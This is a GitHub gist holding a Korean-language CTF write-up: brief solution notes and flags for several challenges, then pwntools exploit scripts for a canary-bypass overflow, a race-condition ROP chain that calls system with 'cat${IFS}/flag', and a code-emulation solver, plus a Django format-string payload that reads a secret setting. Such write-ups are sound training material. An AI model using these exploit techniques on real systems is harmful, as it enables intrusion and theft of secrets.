Skip to content

Instantly share code, notes, and snippets.

@junorouse
Last active November 2, 2018 18:40
Show Gist options
  • Save junorouse/4b7d5096196975face4d2b30545cb900 to your computer and use it in GitHub Desktop.
Save junorouse/4b7d5096196975face4d2b30545cb900 to your computer and use it in GitHub Desktop.
CODEGRAY WRITEUP

헤드

베트남 화이트햇 하러 왔다가 메시지를 받고 짬짬이 푼 문제들 !

사실 대회보다 재밌었다 ㅜㅜ. 시간이 별로 없어 올클 하지 못한게 아쉽다 흑흑

obfuscator말고는 모든 문제를 열어보았다. 각 문제별 설명과 풀이는 아래에 있다.

한국가서 나머지 문제 풀어봐야겠다.

Objective

  1. create_name 함수에 n을 입력받은 만큼 정의해준다. 만약 n보다 작은 값을 입력하면 n보다 작은 데이터가 들어가는데 show_name에서 메모리 릭을 낼 수 있다.
  2. create_middle_name 함수에 middlename[len(input)] = 0을 해준다. off-by-one으로 name ptr의 lsb를 0으로 바꿀 수 있다.
  • show_name 릭과 off-bye-one을 잘 조절해서 내 인풋이 fake objc object가 되게끔 할 수 있다.
  • 처음에 filesystem 매핑을 힙에 로드하는데 서버랑 환경이 잘 안맞아서 서버에선 못 했다 ㅜ
  • 뭔가 좀더 릴라이어블한 방법이 있는 것 같다.

sured

호텔 옮기다가 시간 내에 풀지 못한 문제다 ㅜ. 간단한 취약점이 있다.

  1. sub_401374 함수가 thread로 돌고 commandLength를 계속 체크하면서 256보다 작으면 memcpy를 commandLength만큼 하고 아니면 qmemcpy한다.
  2. commandLength가 global 변수이기 때문에 race-condition이 발생한다.
  3. 256보다 작은값, 큰값을 계속 넣어주면 된다.
  4. 문제는 ROP 하는거 였는데 원래는 2-stage exploit을 하려고 했다. 무엇 때문인지 몰라도 리눅스 태스크 스케쥴러에서 read를 호출하면 main-thread exit이 되는지.... 알 수 없게 계속 죽었다.
  5. bss 영역에 커맨드 넣고 실행하는 방법으로 ROP했다 ㅜ

FLAG{h4v3_4_v4ri0us_p3r5p3ct1v3_v13w_c4n_f17d_bu9}

Easy Django

  1. format에 원하는 값을 넣어줄 수 있다.
  2. user 모델을 줘서 auth까지 올라가면 된다.
  3. https://www.cdxy.me/?p=738
  4. {user.groups.model._meta.app_config.module.admin.settings.SECRET_FLAG}

FLAG{IU_Is_the_b3st_singer_ev3r!}

Advanced Canary

  1. off-by-one이 있어 length를 조작할 수 있다.
  2. puts(key) 하면 됨.

FLAG{HOLYMOLY_HOW_DID_YOU_DO_Thatt!!!}

Word book

  1. 열심히 하란대로 하면 플래그를 준다..

FLAG{C0ngratulstions!_u_arE_worDMast3R!}

from pwn import *
from time import time
from ctypes import CDLL
context.terminal = ['tmux', 'splitw', '-h']
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(int(time()))
# r = process('./a')
r = remote('52.199.235.181', 5555)
# 1st step
r.sendlineafter('>', '1')
r.sendlineafter(':', 'A'*100 + '\xff')
# set infinity
r.sendlineafter('>', '1')
r.sendlineafter(':', 'A'*100 + p32(0x7fffffff))
for i in xrange(3):
v3 = libc.rand()
v4 = (libc.rand() * v3) & 0xffffffff
v5 = libc.rand()
canary = (v4 * v5) & 0xffffffff
print hex(canary)
payload = ''
payload += 'A'*100
payload += p32(0x7fffffff)
payload += p32(canary)
payload += 'Q'
# bof
r.sendlineafter('>', '1')
r.sendlineafter(':', payload)
r.recvuntil('Q')
real_canary = u32('\x00'+r.recv(3))
print 'real canary:', hex(real_canary)
v3 = libc.rand()
v4 = (libc.rand() * v3) & 0xffffffff
v5 = libc.rand()
canary = (v4 * v5) & 0xffffffff
# leak stack address
payload = ''
payload += 'A'*100
payload += p32(0x7fffffff)
payload += p32(canary)
payload += 'QQQQ'
# bof
r.sendlineafter('>', '1')
r.sendlineafter(':', payload)
r.recvuntil('QQQQ')
stack_address = u32(r.recv(4))
input_address = stack_address - 0x25da
print 'stack_address', hex(stack_address)
print 'input_address', hex(input_address)
v3 = libc.rand()
v4 = (libc.rand() * v3) & 0xffffffff
v5 = libc.rand()
canary = (v4 * v5) & 0xffffffff
payload = ''
# make shell
payload += p32(0x08048620) # puts
payload += p32(0x41424344)
payload += p32(0x0804A0A0)
payload += p32(input_address)
payload = payload.ljust(100, 'A')
payload += p32(0x7fffffff)
payload += p32(canary)
payload += p32(real_canary)
payload += p32(input_address+4)
script = '''
b *0x08048B06
b *0x08048B17
c
'''
# gdb.attach(r, script)
r.sendlineafter('>', '1')
r.sendlineafter(':', payload)
r.sendlineafter('>', '2')
r.interactive()
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# r = process('./23016_sured')
script = '''
b *0x00000000004012EB
c
'''
r = remote('13.112.146.72', 20004)
prdi = 0x00402c83
prsi15 = 0x402c81
cout = 0x0000000000605180
call_cout = 0x0000000000401050
comment = 0x0000000000605420
cin = 0x0000000000605300
call_cin = 0x00000000004010A0
ret = 0x000000000040157A
lret = 0x4016ac
call_libc = 0x000000000401150
# orw rop
juno = 'Q'*0x110 + 'B'*8
juno += p64(0x000000000040167A)
juno += p64(0x4141414141)
# change libc to read
juno += p64(prdi)
juno += p64(0x00000000006050E8) # libc
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(0x4e640) # libc --> syscall ret
juno += p64(0x0) # rbp
juno += p64(0x00000000004012EB) # good gadget
# end
# change alarm to read
juno += p64(prdi)
juno += p64(0x00000000006050F0) # alarm
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(0x30) # libc --> gets
juno += p64(0x0) # rbp
juno += p64(0x00000000004012EB) # good gadget
# end
# change memcpy to system
juno += p64(prdi)
juno += p64(0x0000000000605048) # memcpy
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(0xffef74f0) # libc --> gets
juno += p64(0x0) # rbp
juno += p64(0x00000000004012EB) # good gadget
# end
################## start ##################
juno += p64(prdi)
juno += p64(cout)
juno += p64(prsi15)
juno += p64(0x000000000040081C)
juno += p64(0x0)
juno += p64(call_cout)
############## set system command ##############
juno += p64(prdi)
juno += p64(0x605210) # bss
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(u32('cat$'))
juno += p64(0x0)
juno += p64(0x00000000004012EB) # add
juno += p64(prdi)
juno += p64(0x605210+4) # bss
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(u32('{IFS'))
juno += p64(0x0)
juno += p64(0x00000000004012EB) # add
juno += p64(prdi)
juno += p64(0x605210+8) # bss
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(u32('}/fl'))
juno += p64(0x0)
juno += p64(0x00000000004012EB) # add
juno += p64(prdi)
juno += p64(0x605210+0xc) # bss
juno += p64(0x00000000004022a0) # rsi, rbp
juno += p64(u32('ag;x'))
juno += p64(0x0)
juno += p64(0x00000000004012EB) # add
juno += p64(prdi)
juno += p64(0x605210) # ed, we must make valid string
juno += p64(0x0000000000401010)
########### block sleep ############
juno += p64(prdi)
juno += p64(0x0000000000100)
juno += p64(0x0000000000401160) # call alarm (sleep)
payload = ('A\n' + juno + '\n')*100
r.sendline(payload)
r.sendlineafter('comment: \n', 'LEAVE')
# gdb.attach(r, script)
r.interactive()
from pwn import *
import sys
s = remote('13.112.146.72', 33333)
context.arch = 'amd64'
def recv_num(n):
r = ''
for _ in range(n):
c = s.recv(1)
if not c:
break
r += c
if len(r) == n:
break
return r
dummy = s.recv(0x2000)
dummy = s.recv(0x2000)
dummy = s.recv(0x2000)
first_count = 0
second_count = 0
for count in xrange(1000):
if count > 170:
# context.log_level = 'debug'
pass
try:
# print first_count, second_count
X86_CODE64 = s.recv(0x2000)
output = disasm(X86_CODE64)
# print output
# if second_count == 21:
# output = disasm(X86_CODE64)
# X86_CODE64 = s.recv(0x2000)
# print output
# # open('code3.bin'.format(count), 'wb').write(X86_CODE64)
# break
if '0x9090909090909090' in output:
# second stage
code = X86_CODE64[X86_CODE64.find('\x55\x48\x89\xE5'):][0x6a:]
second_code = ''
ans1 = p64(u64(code[0:8]) ^ 0x9090909090909090)
for i in xrange(0, len(code), 8):
if code[i:i+8] == '\x00'*8: break
second_code += p64(u64(ans1) ^ u64(code[i:i+8]))
my_code = disasm(second_code).split('\n')
# emulate my code
ans2 = bytearray(8)
al = 0
for mc in my_code:
is_done = True
for j in xrange(8):
if ans2[j] == 0:
is_done = False
break
if is_done:
break
if 'nop' in mc:
continue
if 'mov' in mc:
al = eval(mc.split('al,')[1].strip())
elif 'inc' in mc:
al += 1
elif 'dec' in mc:
al -= 1
elif 'add' in mc:
what = eval(mc.split('al,')[1].strip())
al += what
elif 'sub' in mc:
what = eval(mc.split('al,')[1].strip())
al -= what
elif 'xor' in mc:
what = eval(mc.split('al,')[1].strip())
al ^= what
elif 'cmp' in mc:
try:
idx = eval(mc.split('[r11+')[1].split(']')[0])
except:
idx = 0
ans2[idx] = al
else:
pass
final_ans = ans1 + ans2
print final_ans
s.send(str(final_ans))
second_count += 1
elif 'add rcx,0x37' in output:
print 'STAGE 3'
xor_key = eval(output.split('movabs r10,')[1].split('\n')[0].strip())
print 'xor_key,', hex(xor_key)
code = X86_CODE64[X86_CODE64.find('\x55\x48\x89\xE5'):][0x37:]
third_code = ''
for i in xrange(0, len(code), 8):
if code[i:i+8] == '\x00'*8: break
second_code += p64(xor_key ^ u64(code[i:i+8]))
open('code4.bin', 'wb').write(second_code)
my_code = disasm(second_code).split('\n')
print my_code
ans = bytearray(8)
al = 0
for mc in my_code:
is_done = True
for j in xrange(8):
if ans[j] == 0:
is_done = False
break
if is_done:
break
if 'nop' in mc:
continue
if 'mov' in mc:
al = eval(mc.split('al,')[1].strip())
elif 'inc' in mc:
al += 1
elif 'dec' in mc:
al -= 1
elif 'add' in mc:
what = eval(mc.split('al,')[1].strip())
al += what
elif 'sub' in mc:
what = eval(mc.split('al,')[1].strip())
al -= what
elif 'xor' in mc:
what = eval(mc.split('al,')[1].strip())
al ^= what
elif 'cmp' in mc:
try:
idx = eval(mc.split('[r11+')[1].split(']')[0])
except:
idx = 0
ans[idx] = al
else:
pass
print ans
s.send(str(ans))
break
else:
# first stage
ans = bytearray(8)
for i in xrange(8):
if i == 0 :
x1 = 'al,BYTE PTR [rsi]'
else:
x1 = 'al,BYTE PTR [rsi+0x{}]'.format(i)
# print(x1)
target = output.split(x1)[0].split('al,')[-1].split('\n')[-2].strip()
# print('wtf', target)
ans[i] = int(target, 16)
print(ans)
s.send(str(ans))
first_count += 1
except Exception as e:
# print(e)
continue
# s.interactive()
# 'n0C{GALF'[::-1] + 'tslutarg'[::-1] + '_u_!snoi'[::-1] + 'Drow_Era'[::-1] + '}!R3tsaM'[::-1]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment